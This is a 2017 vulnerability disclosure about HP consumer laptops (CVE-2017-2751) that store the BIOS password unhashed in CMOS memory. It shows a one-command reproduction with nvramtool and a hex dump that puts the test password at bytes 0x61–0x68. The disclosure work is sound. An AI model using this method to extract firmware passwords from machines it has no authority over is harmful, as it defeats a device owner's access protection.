Firmware Password Extraction of Consumer Hewlett-Packard Laptops

HP PSR-2017-0169
CVE-2017-2751

Bader Zaidan

bader.zaidan@rwth-aachen.de

November 1, 2017

HP Security bulletin

Last update: 29.01.2018 - Added CVE and link to HP announcement

1 Introduction

The BIOS password is one of the most basic methods of preventing manipulation of boot firmware settings and undesired manipulation of a device. Security measures in the boot firmware exist in virtually all modern devices and are considered to be an industry standard. Several exploits, bugs and other security issues already exist, but are ignored and are rarely taken advantage of due to their complexity. One that is simple to execute will provide an increased capability to even the smallest of assailants.

In this paper, we will cover a bug where an assailant can access the BIOS/UEFI password via the OS or any other method allowing him to read the CMOS memory. This issue was found in the European Coreboot Conference in Bochum, 2017.

2 Reproduction

Reproducing this issue requires nothing more than a tool capable of dumping the CMOS memory contents and possibly a program to read it in hexadecimal

form. In this example, we tested the issue with `nvramtool` with option `-x` (allowing a hex dump, removing the need for a hexadecimal reader or editor) under Debian GNU/Linux 9.2.

```
bader@pseudo:~$ sudo nvramtool -x
0000 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 | ................
0010 | 00 ff ff ff 0e 80 02 00 fc ff ff ff ff ff ff ff | ................
0020 | ff ff ff ff ff ff ff ff ff ff ff ff ff ff 19 74 | ...............t
0030 | 00 fc 20 ff ff 07 00 13 00 00 00 00 00 00 00 00 | .. ............
0040 | 2b 03 00 00 01 ff 01 01 ff ff ff ff ff ff 00 00 | +...............
0050 | 00 00 00 00 00 00 00 00 00 00 00 00 ff 07 00 ff | ................
0060 | 08 74 65 73 74 69 6e 67 70 8a 00 00 00 00 00 00 | .testingp.......
0070 | a3 cb 29 a7 ff ff 10 01 ff ff ff ff ff ff ff ff | ..).............
0080 | ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff | ................
0090 | 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff | ................
00a0 | ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 ff | ................
00b0 | ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 | ................
00c0 | 07 ff ff ff ff ff ff ff 51 ff ff ff ff ff ff ff | ........Q.......
00d0 | ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff | ................
00e0 | 00 ff 02 04 07 02 02 01 ff ff ff ff ff ff 00 ff | ................
00f0 | ff ff ff ff ff ff ff 00 02 00 00 00 00 ff ff 00 | ................
```

Figure 1: `nvramtool -x` output under GNU/Linux.

The password on this device was found to be between 0x0061 and 0x0068 inclusive of said dumps as shown in the figure. It remains unhashed, unsalted and unencrypted. For the sake of this demonstration, the password was set to "testingp". Note: The password was also limited to 8 characters and cannot be increased due to a hard limit.

3 Affected Devices

The list of affected devices is available on the HP Support Communications board found here.

4 Conclusion

Many thanks go to Carl-Daniel Hailfinger of the Bundesamt für Sicherheit in der Informationstechnik for his assistance in reporting this bug, and the Chaos Computer Club Aachen for their technical assistance.